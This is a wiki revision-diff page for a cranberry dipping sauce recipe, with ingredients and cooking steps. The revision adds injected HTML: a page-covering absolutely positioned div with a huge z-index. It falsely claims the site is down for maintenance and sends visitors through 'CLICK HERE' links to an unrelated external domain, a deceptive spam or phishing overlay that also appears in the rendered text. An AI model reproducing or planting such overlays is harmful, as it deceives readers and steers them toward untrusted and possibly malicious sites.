Difference between revisions of "Cranberry Dipping Sauce"

From GoonsWithSpoons
Jump to navigation Jump to search
m
Line 1: Line 1:
[[category:Vegetarian]]
+
>[[category:Vegetarian]]
 
[[category:Thanksgiving 2007]]
 
[[category:Thanksgiving 2007]]
 
[[category:Sauces]]
 
[[category:Sauces]]
Line 29: Line 29:
  
 
[[image:CranSauce4.jpg]]
 
[[image:CranSauce4.jpg]]
 +
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://uzevazeweme.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://uzevazeweme.co.cc CLICK HERE]=
 +
----
 +
</div>

Revision as of 10:20, 18 November 2010

>Submitted by Sam_I_Am.

  • 1 Orange
  • 1 lb Cranberries
  • 2 C Orange Juice
  • 3 C Ginger Ale
  • 2 T Maple Syrup
  • 3 T Brown Sugar
  • 1/2 t Salt

Here's how to zest an orange: First, wish you brought your microplane with you to your inlaws' kitchen. Then, use literally the worst peeler you've ever seen, and slice off big slabs of peel. Use the back of your knife to scrape off the bitter pith, and then mince the zest. Easy!

CranSauce1.jpg

Dump all the above in a pot.

CranSauce2.jpg

Bring to a simmer. Cook till reduced by half, about 45 minutes.

CranSauce3.jpg

Puree and pour into a dipping glass for each setting.

CranSauce4.jpg



Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page


CLICK HERE